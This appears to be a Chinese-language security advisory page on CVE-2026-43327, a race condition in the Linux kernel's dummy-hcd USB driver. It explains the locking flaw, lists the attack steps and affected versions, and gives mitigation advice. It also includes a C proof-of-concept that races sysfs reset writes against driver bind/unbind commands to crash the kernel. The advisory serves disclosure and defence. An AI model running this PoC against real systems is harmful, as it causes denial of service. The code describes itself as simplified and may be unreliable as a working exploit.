IPBUF安全漏洞报告
English
CVE-2026-43327 CVSS 5.5 中危

CVE-2026-43327 Linux内核dummy-hcd竞态条件漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43327
漏洞类型
竞态条件
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelRace ConditionDoSdummy-hcdLocal Vulnerability

漏洞概述

Linux内核中的dummy-hcd驱动程序存在一个锁同步错误漏洞。Syzbot测试发现,在处理模拟USB重置和驱动程序解绑时存在竞态条件,导致`usb_gadget_udc_reset()`函数崩溃。该问题源于`set_link_state()`在调用`stop_activity()`期间释放并重新获取自旋锁,允许解绑线程在`dum->callback_usage`增加之前清除`dum->driver`。这导致重置函数接收到NULL参数,引发地址异常。该漏洞可能被本地攻击者利用导致系统拒绝服务。

技术细节

该漏洞位于Linux内核的`drivers/usb/gadget/udc/dummy_hcd.c`文件中。核心问题在于`set_link_state()`函数处理USB重置时的锁顺序不当。在执行重置逻辑时,代码会在检查`dum->ints_enabled`之后、增加`dum->callback_usage`计数器之前调用`stop_activity()`。由于`stop_activity()`会暂时释放`dum->lock`自旋锁,这为并发执行的驱动解绑线程(`driver_unbind`)创造了时间窗口。解绑线程获取锁后,会检查`dum->callback_usage`,此时因计数器未增加,线程会直接清空`dum->driver`指针并退出。当重置线程恢复执行并调用`usb_gadget_udc_reset(gadget, driver)`时,driver参数已为NULL,导致内核访问空指针而崩溃。攻击者需具备本地低权限,通过并发操作触发该竞态条件。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限用户访问权限。
STEP 2
步骤2
攻击者编写并发程序,一个线程负责频繁触发dummy-hcd的USB重置操作,另一个线程负责频繁执行驱动解绑操作。
STEP 3
步骤3
利用`set_link_state()`中`stop_activity()`释放锁的时机,解绑线程在`callback_usage`计数器增加前成功清空`driver`指针。
STEP 4
步骤4
重置线程调用`usb_gadget_udc_reset()`时传入NULL指针,触发内核空指针解引用,导致系统崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept for CVE-2026-43327 * This code attempts to trigger the race condition between * USB reset and driver unbind in the dummy_hcd driver. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> // Path to the dummy_hcd UDC #define UDC_PATH "/sys/bus/udc/drivers/gadget" #define UDC_NAME "dummy_udc.0" void *trigger_reset(void *arg) { char cmd[256]; // Continuously trigger disconnect/reset states while (1) { // Writing to function attribute or similar can trigger link state changes // This is a simplified representation of the reset trigger FILE *fp = fopen("/sys/devices/platform/dummy_hcd/udc/dummy_udc.0/state", "w"); if (fp) { fprintf(fp, "configured"); // Try changing state fclose(fp); } usleep(100); } return NULL; } void *trigger_unbind(void *arg) { char cmd[256]; // Attempt to unbind the driver rapidly while (1) { snprintf(cmd, sizeof(cmd), "echo -n '%s' > %s/unbind", UDC_NAME, UDC_PATH); system(cmd); // Re-bind might be needed to repeat the attempt, depending on kernel state snprintf(cmd, sizeof(cmd), "echo -n '%s' > %s/bind", UDC_NAME, UDC_PATH); system(cmd); usleep(100); } return NULL; } int main() { pthread_t t1, t2; printf("[+] Starting Race Condition PoC for CVE-2026-43327...\n"); pthread_create(&t1, NULL, trigger_reset, NULL); pthread_create(&t2, NULL, trigger_unbind, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

影响范围

Linux Kernel < 6.1 (Fix commit 218886b2ef2d)
Linux Kernel < 6.6 (Fix commit 616a63ff495d)
Linux Kernel < 6.8 (Fix commit 6350c7dd33ab)

防御指南

临时缓解措施
建议立即更新Linux内核。对于无法立即更新的系统,可以通过禁用dummy_hcd模块(rmmod dummy_hcd)来缓解风险,或者使用seccomp/AppArmor限制对相关内核接口的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表